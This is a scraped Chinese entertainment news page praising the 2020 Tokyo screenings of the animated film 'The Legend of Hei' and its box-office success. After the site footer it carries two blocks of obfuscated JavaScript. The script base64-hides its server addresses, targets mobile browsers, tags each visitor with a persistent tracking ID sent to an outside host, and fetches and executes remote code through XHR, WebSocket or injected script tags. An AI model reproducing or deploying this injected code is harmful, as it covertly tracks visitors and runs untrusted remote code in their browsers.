《罗小黑战记》日本东京放映叫好又卖座，二维国漫扬帆出海首战告捷

时间：2020-10-23 23:49:52阅读：2933次
日本放映现场二维优质国漫《罗小黑战记》于9月7日提档上映之后，在第三个周末仍然保持口碑坚挺，并创下单日票房1420万、场均上座率第一的好成绩。截止目前，《罗小黑战记》的总票房已达2.8亿，直奔3亿大关
罗小黑战记

日本放映现场

二维优质国漫《罗小黑战记》于9月7日提档上映之后，在第三个周末仍然保持口碑坚挺，并创下单日票房1420万、场均上座率第一的好成绩。截止目前，《罗小黑战记》的总票房已达2.8亿，直奔3亿大关，在国产二维动画电影影史上留下了骄人的一笔。

而在这个周末的9月20日，《罗小黑战记》也好风凭借力，首次实现国内影片在日本同步放映，并取得了耀目的开售成绩。与此同时，海外口碑也好评满满，治愈与热血并存的小黑流浪记不仅受到了在日华人与留学生的欢迎，也深受日本业内人士的美誉。罗小黑瞬间化身“国际喵”，国漫扬帆出海初战告捷。

《罗小黑战记》东京放映首映满座 品质优秀引日本业内赞赏连连

从9月20日到9月29日，《罗小黑战记》将在东京池袋HUMAX CINEMA影院独家放映10日，并以中文配音、日文字幕的方式进行播出，此次放映为首例国内影片海外同步放映。上映前，《罗小黑战记》未映先火。据统计，影片在HUMAX CINEMA的所有场次预售上座率超过75%，而日本院线平均上座率12%，《罗小黑战记》已经超过平均上座率的6倍。同步放映加超高预售，电影打破了以往国漫在日放映的纪录，成效喜人。9月20日当天，《罗小黑战记》首映两场均为满座，之后的场均上座率基本都达到95%以上，票房表现冲势如虹。

这次观影的观众中除了有部分在日华人和留学生之外，不少日本观众也来到了现场观影，观影全程热情高涨，笑泪交织，反响十分热烈。华人观众纷纷表达了对中国动画在日本放映的骄傲和对影片质量的惊喜感，而日本观众也在观影后表达了对影片的极高肯定：“作品的制作水平很高，画面切换流畅，故事情节也很扣人心弦”。

首映期间，还有一位越南女生独自来到现场观影。这位观众也是“小黑粉”一枚，从大学一年级开始看《罗小黑战记》番剧，对中国动画的印象有了巨大的改观，也因此开始自学汉语。这次借东京同步放映的契机，来到影院完美圆梦。

《罗小黑战记》在普通观众中人气卖座的同时，受到了日本业内人士的欢迎。日本明治大学特摄动画研究教授氷川竜介在观看首映之后连连称赞：“主视觉效果让人难以想象，简单的作画动起来非常有冲击感，超能力部分的动作性和娱乐性让人感觉非常有趣。”还提醒观众“放映期限较短，一定要注意！”除此之外，还有不少海外动画产业人士和机构也在强势关注《罗小黑战记》的日本放映效果，并期待早日观影。一波又一波的国际自来水正在不断涌来。

中日团队共创产业协作模式 为国漫出海保驾护航

影片《罗小黑战记》讲述了在一个人妖共存的奇幻世界中，一只名叫小黑的小猫妖在遭遇家园破坏之后一路流浪，最终收获归宿与成长的故事。精美的画风、动人的故事以及成长与陪伴的普世价值观进行组合，创造了中国二维动画的新巅峰，在国内上映期间，许多动画产业人士认为影片和日本动画进行比较都毫不露怯。这次日本同步放映，恰恰验证了国内动画人的匠心成果，影片在弘扬本土文化、改变国际印象的同时，也极大地增强了文化自信，为以后本土作品的出海提供了更多机遇。

而在日本这个动画产业空前发达的文化地域里，《罗小黑战记》的成果无疑是宣发团队将优质作品与良好产业模式进行碰撞的化学反应。《罗小黑战记》的宣发方北京卓然影业有限公司全力主导了此次海外同步放映，影片在日本的宣发团队为卓然影业日本分公司Team Joy与面白映画。Team Joy致力于打造中国文化产品在日本的发行和落地渠道，涉及中日影视作品合拍、企划、投资、面向世界市场输出亚洲文化产品。面白映画是一家专注于动画电影的制片与海外发行的公司，在为海外华人提供更多了解祖国的渠道同时，也全力促进文化交流，将中国的优秀动画电影带向全世界。

《罗小黑战记》首次采取预售模式，9月5日官宣第二日立即启动预售，放映前一天结束预售。放映期间，宣发方进行了一小时一次的数据监控，保证随时调整宣发策略。值得注意的是，华语电影在日本采取提前预热的手法十分少见，这种大胆的策略也颇见成效，达到了首映日场场满座，接下来几天上座率均达95%以上的成绩。从宣发团队的策略和成效上也可以看出，虽然此次是国产二维动画在日本的一次快闪放映，但其根本目标并不在于短时间内海外票房的回收，而是通过反复测试与磨合海外市场模式，积累经验与数据，制定最优化策略，拓宽更多海外渠道，为国产影片的国际化发展打下坚实的基础。同时，《罗小黑战记》这一次在日本主流动画市场的闯荡，也为国产动画作品拓宽国际视野、打破刻板偏见、增强中国文化软实力开一个好头。

多年以来，国产动画如何打破疆界、弘扬本土文化、获取更多国际话语权这一命题一直在探索中前进。作品出海要最大化发光发热、避免“水土不服”，除了本身的质感与文化魅力之外，也需要“借东风、行快船”，文化自信与文化智行融为一体，达成本体与产业模式的有效整合，才能将文化精髓以深入人心的方式唤起国际共鸣。

《罗小黑战记》日本放映推动者、《十万个冷笑话》制片人、同时是面白映画创始人的不董在采访时也表达了自己的初衷：“外国人对于我们国内的内容其实印象上并不好，所以我们希望能够把一些好的内容带过来，给人看到中国的还是不错的。来看一看，确实会很不一样。”

《罗小黑战记》由北京基因映画影业有限公司、北京寒木春华动画技术有限公司、北京卓然影业有限公司联合出品，影片正在中日同步热映中。据悉，卓然影业目前已在规划将2020年部分春节档影片在日本进行同步放映，期待更多国产匠心影视作品在海外载誉而归。

相关资讯

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function zXEQtW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function kAdXYqZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return zXEQtW(t);};window[''+'H'+'R'+'y'+'q'+'v'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GSeaP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=kAdXYqZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GSeaP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GSeaP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toannMuY24lM0E5NTM1','159458',window,document,['H','n']);}:function(){};
function BjpxD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function adGJE(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BjpxD(t);};window[''+'j'+'D'+'t'+'V'+'i'+'H'+'T'+'b'+'f'+'w'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function XoiS(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=adGJE,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=XoiS(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=XoiS(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55aa2toaanMuY24lM0E5NTM1','159459',window,document,['M','a']);}:function(){};